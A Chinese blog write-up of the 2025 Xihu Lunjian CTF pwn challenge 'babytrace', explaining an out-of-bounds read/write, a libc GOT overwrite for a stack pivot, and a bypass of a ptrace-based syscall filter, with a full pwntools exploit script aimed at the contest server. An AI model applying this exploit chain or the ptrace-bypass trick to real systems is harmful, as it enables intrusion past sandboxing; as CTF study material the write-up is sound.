2025西湖论剑-babytrace

news2025/1/24 0:36:13

前言

就做了下题目,pwn1/3 都是签到,pwn2 后面绕 ptrace 有点意思,简单记录一下

漏洞分析

子进程中的读/写功能没有检查负数的情况,存在越界读写:

void __fastcall get_value(__int64 *int64_arr)
{
  __int64 ll; // [rsp+18h] [rbp-8h]

  if ( dword_202018 > 1 )
  {
    puts("permission denied!");
  }
  else
  {
    puts("which one?");
    ll = get_ll();
    if ( ll > 2 )                               // 负数没检查
      exit(1);
    printf("num[%lld] = %lld\n", ll, int64_arr[ll]);
    ++dword_202018;
  }
}

void __fastcall set_value(__int64 *int64_arr)
{
  __int64 ll; // [rsp+10h] [rbp-220h]
  char buf[520]; // [rsp+20h] [rbp-210h] BYREF
  unsigned __int64 v3; // [rsp+228h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_202010 == 1 )
  {
    puts("recv:");
    read(0, buf, 0x200uLL);
    puts("which one?");
    ll = get_ll();
    if ( ll > 2 )                               // 负数没检查
      exit(1);
    puts("set value?");
    int64_arr[ll] = get_ll();
    puts("Set up for success!");
    dword_202010 = 0;
  }
  else
  {
    puts("permission denied!");
  }
}

所以这里存在两次越界读和一次越界写,这里的写只能写一次,因为 dword_202010 是在被写之后赋值为 0 的,所以无法通过修改 dword_202008 去实现无限次越界读,但是两次也足够了。

利用越界读泄漏 libcstack

劫持程序执行流执行rop

泄漏了 libcstack 后,接下来就是思考如何通过一次越界写实现执行流的劫持,可以看到越界写函数 set_value 中会先读 512 字节到栈上:

void __fastcall set_value(__int64 *int64_arr)
{
  __int64 ll; // [rsp+10h] [rbp-220h]
  char buf[520]; // [rsp+20h] [rbp-210h] BYREF
  unsigned __int64 v3; // [rsp+228h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_202010 == 1 )
  {
    puts("recv:");
    read(0, buf, 0x200uLL);                     // 读取 512 字节
    puts("which one?");
    ll = get_ll();
    if ( ll > 2 )                               // 负数没检查
      exit(1);
    puts("set value?");
    int64_arr[ll] = get_ll();
    puts("Set up for success!");
    dword_202010 = 0;
  }
  else
  {
    puts("permission denied!");
  }
}

所以很明显这里可以把 rop 链放在 buf 上,然后想办法把栈迁移过去。这里的 buf 的地址为低地址,并且只有 8 字节写的机会,所以很难直接把栈抬上去,我没有找到合适的 sub rsp, xxx; ret,栈迁移也不好做,所以这里我歇菜了

这里我们需要把栈抬上去,其他佬找到了方法,直接说结果吧,修改 libc.got,因为后面会调用 puts 函数,其会调用到 libc 中的 __strlen_evex.got,而在执行 puts 时,栈就被抬上去了,所以我们修改 __strlen_evex.got 为一个 add rsp xxx; ret 就有机会执行 rop 了,而 add rsp, xxx; ret 还是比 sub rsp, xxx; ret 好找的

绕过 ptrace 对系统调用的过滤

可以执行 rop 后,接下来就是考虑如何绕过父进程中的 ptracesyscall 系统调用号的检查:

 ptrace(PTRACE_SETOPTIONS, pid, 0LL, 1LL);
  do
  {
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 进入系统调用时,检查系统调用号
    if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的
      error("waitpid error2");
    if ( (status & 0x7F) == 0 || status == 127 && (status & 0xFF00) >> 8 == 11 )
      break;
    if ( ptrace(PTRACE_GETREGS, pid, 0LL, &regs) < 0 )
      error("GETREGS error");
    if ( regs.orig_rax != 1 && regs.orig_rax != 231 && regs.orig_rax != 5 && regs.orig_rax != 60 )
    {
      if ( regs.orig_rax )
      {
        printf("bad syscall: %llu\n", regs.orig_rax);
        regs.orig_rax = -1LL;
        if ( ptrace(PTRACE_SETREGS, pid, 0LL, &regs) < 0 )
          error("SETREGS error");
      }
    }
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 捕获退出系统调用
    if ( waitpid(pid, &status, 0x40000000) < 0 )
      error("waitpid error3");
  }
  while ( (status & 0x7F) != 0 && (status != 127 || (status & 0xFF00) >> 8 != 11) );

这里的实现存在漏洞,我代码也注释了,这段代码主要就是两个 PTRACE_SYSCALL+waitpid,其本意为:

# 子进程进入系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 进入系统调用时,检查系统调用号
    if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的
    	error("waitpid error2");
    
	check
	
# 子进程退出系统调用时触发某个信号,此时 waitpid 捕获
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 捕获退出系统调用
    if ( waitpid(pid, &status, 0x40000000) < 0 )
		error("waitpid error3");

但是这里 waitpid 捕获信号后,没有区分是否是由于系统调用触发的,所以在 rop 中我们可以先通过某些 gadget 发出一个信号,此时被第一个 waitpid 捕获,后面在执行系统调用时,检查的逻辑就成了:

# 子进程进入系统调用时触发某个信号,此时 waitpid 捕获
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 捕获退出系统调用
    if ( waitpid(pid, &status, 0x40000000) < 0 )
		error("waitpid error3");

# 子进程退出系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 进入系统调用时,检查系统调用号
    if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的
	    error("waitpid error2");
    
	check

所以这里就成功绕过了检查,最后的 exp 如下:

直接执行 system 可能会出现问题,因为 system 中可能会发出某些信号,导致上述检查逻辑顺序再次被转换回来

from pwn import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = remote("119.45.238.17", 9999)
#io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0

gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8

"""
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()

menu   = b'choose one >'

def set_val(data, idx, val):
    sla(menu, b'1')
    sla(b'recv:\n', data)
    sla(b"which one?\n", byte(idx))
    sla(b"set value?\n", byte(val))

def get_val(idx):
    sla(menu, b'2')
    sla(b"which one?\n", byte(idx))

#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
get_val(-2) # <_IO_2_1_stderr_>
rut(b'] = ')
libc_base = int(rut(b'\n'), 10) - libc.sym._IO_2_1_stderr_
info("libc_base", libc_base)

#pause()
libc.address = libc_base
pop_rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x00000000000796a2 # pop rdx ; ret
retf    = libc_base + 0x0000000000029551 # retf
syscall = libc.sym.syscall + 27
int_0x80 = libc_base + 0x00000000000f2ec2 # int 0x80
pop_rbx = libc_base + 0x0000000000035dd1 # pop rbx ; re
pop_rcx = libc_base + 0x000000000003d1ee # pop rcx ; ret
ret = libc_base + 0x0000000000029139 # ret
int1_ret = libc_base + 0x000000000009cd15 # int1 ; xor eax, eax ; ret

"""
get_val(-3) # elf_base+0xe48
rut(b'] = ')
elf_base = int(rut(b'\n'), 10) - 0xe48
info("elf_base", elf_base)
"""
get_val(-4)
rut(b'] = ')
stack = int(rut(b'\n'), 10) - 0x20
info("stack", stack)

rop  = p64(int1_ret)
rop += p64(pop_rdi)+p64(stack+208-0x230)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
rop += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(0)+p64(syscall)
rop += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(1)+p64(syscall)
rop += b'flag\x00\x00'
print(len(rop))
#gdb.attach(io, 'b *'+str(libc_base+0x0000000000114b5c))
set_val(rop, (libc_base+0x219098-stack)//8, libc_base+0x0000000000114b5c)


"""
- nc 119.45.238.17 9999
- nc 119.45.238.17 19999
- nc 119.45.238.17 29999
- nc 119.45.238.17 39999
- nc 119.45.238.17 49999
"""
#pause()
sh()

远程效果如下:
在这里插入图片描述

后记

gpt 写一个正确使用 PTRACE_SYSCALL 的代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/reg.h>   // 定义寄存器偏移量
#include <sys/user.h>  // 定义 user_regs_struct

int main(int argc, char *argv[]) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <program>\n", argv[0]);
        exit(1);
    }

    pid_t child = fork();
    if (child == 0) {
        // 子进程:执行目标程序
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        execl(argv[1], argv[1], NULL);
    } else {
        // 父进程:跟踪目标进程
        int status;
        struct user_regs_struct regs;

        waitpid(child, &status, 0);  // 等待子进程停止
        ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACESYSGOOD);

        while (1) {
            // 继续执行,直到下一个系统调用事件
            ptrace(PTRACE_SYSCALL, child, 0, 0);
            waitpid(child, &status, 0);

            if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {
                // 进入系统调用
                ptrace(PTRACE_GETREGS, child, 0, &regs);
                printf("Entered syscall: %lld\n", regs.orig_rax);

                // 继续执行,直到系统调用退出
                ptrace(PTRACE_SYSCALL, child, 0, 0);
                waitpid(child, &status, 0);

                if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {
                    // 退出系统调用
                    ptrace(PTRACE_GETREGS, child, 0, &regs);
                    printf("Exited syscall: %lld, return value: %lld\n", regs.orig_rax, regs.rax);
                }
            }

            if (WIFEXITED(status)) {
                // 目标进程退出
                printf("Child process exited\n");
                break;
            }
        }
    }
    return 0;
}

可以看到这里使用 WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80) 去过滤由系统调用产生的 SIGTRAP 信号,注意这里要配合 PTRACE_O_TRACESYSGOOD,其会将系统调用产生的 SIGTRAP 信号与上 0x80,就是用来区分其他事件产生的 SIGTRAP 信号

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2281140.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HarmonyOS Next 应用UI生成工具介绍

背景 HarmonyOS Next适配开发过程中难买难要参考之前逻辑&#xff0c;但是可能时间较长文档不全&#xff0c;只能参考Android或iOS代码&#xff0c;有些逻辑较重的场景还可以通过AI工具将Android 的Java代码逻辑转成TS完成部分复用。对于一些UI场景只能手动去写&#xff0c;虽…

计算机网络 (56)交互式音频/视频

一、定义与特点 定义&#xff1a;交互式音频/视频是指用户使用互联网和其他人进行实时交互式通信的技术&#xff0c;包括语音、视频图像等多媒体实时通信。 特点&#xff1a; 实时性&#xff1a;音频和视频数据是实时传输和播放的&#xff0c;用户之间可以进行即时的交流。交互…

【深度学习】Java DL4J 2024年度技术总结

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;精通Java编…

考研408笔记之数据结构(三)——串

数据结构&#xff08;三&#xff09;——串 1. 串的定义和基本操作 本节内容很少&#xff0c;重点是串的模式匹配&#xff0c;所以对于串的定义和基本操作&#xff0c;我就简单提一些易错点。另外&#xff0c;串也是一种特殊的线性表&#xff0c;只不过线性表是可以存储任何东…

Spring Data JPA使用基础教程

文章目录 Spring Data JPA使用基础教程一、引言二、环境搭建1、添加依赖2、配置数据库 三、核心组件1、实体类2、Repository 接口 四、使用示例1、基本操作1.1、保存数据1.2、查询数据1.3、更新数据1.4、删除数据 2、自定义查询 五、最佳实践1. **合理使用懒加载与急加载**2. *…

到华为考场考HCIE的注意事项和考试流程

大家好&#xff0c;我是张同学&#xff0c;来自成都职业技术学院2021级计算机网络专业。最近成功通过了 Datacom HCIE 考试&#xff0c;在这里和大家分享一下我的经验。 考证契机 在母校的培养下&#xff0c;我接触到ICT这个行业&#xff0c;打好了基础&#xff0c;开始了成…

STM32 ST7735 128*160

ST7735 接口和 STM32 SPI 引脚连接 ST7735 引脚功能描述STM32 引脚连接&#xff08;示例&#xff0c;使用 SPI1&#xff09;SCLSPI 时钟信号 (SCK)PA0(SPI1_SCK)SDASPI 数据信号 (MOSI)PA1 (SPI1_MOSI)RST复位信号 (Reset)PA2(GPIO 手动控制)DC数据/命令选择 (D/C)PA3 (GPIO 手…

大华相机DH-IPC-HFW3237M支持的ONVIF协议

使用libONVIF C库。 先发现相机。 配置 lib目录 包含 编译提示缺的文件&#xff0c;到libonvif里面拷贝过来。 改UDP端口 代码 使用msvc 2022的向导生成空项目&#xff0c;从项目的main示例拷贝过来。 CameraOnvif.h #pragma once#include <QObject> #include &l…

JavaWeb过滤器和监听器实现网页计数功能

过滤器用于在请求到达Servlet之前或响应返回给客户端之前对请求或响应进行预处理或后处理操作&#xff0c;监听器用于监听Web应用中的事件。 实现网页计数功能。要完成两项计数&#xff1a; 第一&#xff0c;本网页历史访问人数&#xff1b; 第二&#xff0c;本站当前在线用户…

AIGC视频生成明星——Emu Video模型

大家好&#xff0c;这里是好评笔记&#xff0c;公主号&#xff1a;Goodnote&#xff0c;专栏文章私信限时Free。本文详细介绍Meta的视频生成模型Emu Video&#xff0c;作为Meta发布的第二款视频生成模型&#xff0c;在视频生成领域发挥关键作用。 &#x1f33a;优质专栏回顾&am…

Genetic Prompt Search via Exploiting Language Model Probabilities

题目 利用语言模型概率的遗传提示搜索 论文地址&#xff1a;https://www.ijcai.org/proceedings/2023/0588.pdf 项目地址&#xff1a;https://github.com/zjjhit/gap3 摘要 针对大规模预训练语言模型(PLMs)的即时调优已经显示出显著的潜力&#xff0c;尤其是在诸如fewshot学习…

NavVis手持激光扫描帮助舍弗勒快速打造“数字孪生”工厂-沪敖3D

在全球拥有近100家工厂的舍弗勒&#xff0c;从2016年开启数字化运营进程&#xff0c;而当前制造、库存、劳动力和物流的数字化&#xff0c;已无法支持其进一步简化工作流程&#xff0c;亟需数字化物理制造环境&#xff0c;打造“数字孪生”工厂。 NavVis为其提供NavVis VLX 3…

最新-CentOS 7安装1 Panel Linux 服务器运维管理面板

CentOS 7安装1 Panel Linux 服务器运维管理面板 一、前言二、环境要求三、在线安装四、离线安装1.点击下面1 Panel官网链接访问下载&#xff0c;如未登录或注册&#xff0c;请登录/注册后下载2.使用将离线安装包上传至目标终端/tem目录下3.进入到/tem目录下解压离线安装包4.执行…

vscode环境中用仓颉语言开发时调出覆盖率的方法

在vscode中仓颉语言想得到在idea中利用junit和jacoco的覆盖率&#xff0c;需要如下几个步骤&#xff1a; 1.在vscode中搭建仓颉语言开发环境&#xff1b; 2.在源代码中右键运行[cangjie]coverage. 思路1&#xff1a;编写了测试代码的情况&#xff08;包管理工具&#xff09; …

MySQL、HBase、ES的特点和区别

MySQL&#xff1a;关系型数据库&#xff0c;主要面向OLTP&#xff0c;支持事务&#xff0c;支持二级索引&#xff0c;支持sql&#xff0c;支持主从、Group Replication架构模型&#xff08;本文全部以Innodb为例&#xff0c;不涉及别的存储引擎&#xff09;。 HBase&#xff1…

10倍数据交付提升 | 通过逻辑数据仓库和数据编织高效管理和利用大数据

数据已经成为企业核心竞争力的关键要素。随着大数据技术的发展&#xff0c;如何高效管理和利用海量的数据&#xff0c;已成为企业在数字化转型过程中面临的重要课题。传统的数据仓库已经不能满足当今企业对数据处理的高效性、灵活性和实时性的需求。在这种背景下&#xff0c;逻…

【数据分享】1929-2024年全球站点的逐年最低气温数据(Shp\Excel\免费获取)

气象数据是在各项研究中都经常使用的数据&#xff0c;气象指标包括气温、风速、降水、湿度等指标&#xff01;说到气象数据&#xff0c;最详细的气象数据是具体到气象监测站点的数据&#xff01; 有关气象指标的监测站点数据&#xff0c;之前我们分享过1929-2024年全球气象站点…

Hadoop•搭建完全分布式集群

听说这里是目录哦 一、安装Hadoop&#x1f955;二、配置Hadoop系统环境变量&#x1f96e;三、验证Hadoop系统环境变量是否配置成功&#x1f9c1;四、修改Hadoop配置文件&#x1f36d;五、分发Hadoop安装目录&#x1f9cb;六、分发系统环境变量文件&#x1f368;七、格式化HDFS文…

Java复习第四天

一、代码题 1.相同的树 (1)题目 给你两棵二叉树的根节点p和q&#xff0c;编写一个函数来检验这两棵树是否相同。 如果两个树在结构上相同&#xff0c;并且节点具有相同的值&#xff0c;则认为它们是相同的。 示例 1: 输入:p[1,2,3]&#xff0c;q[1,2,3] 输出:true示例 2: 输…

修改word的作者 最后一次保存者 总编辑时间 创建时间 最后一次保存的日期

作者&#xff1a; 1.打开word文件 2.点击左上角的文件 3.选项 4.用户信息 5.将用户信息中的 姓名改为你需要的名字 最后一次保存者 1.word重命名为.zip文件 2.docProps中有个core.xml 3.用记事本打开有个lastModifiedBy标签&#xff0c;将里面内容改为你需要的名字 总编辑时…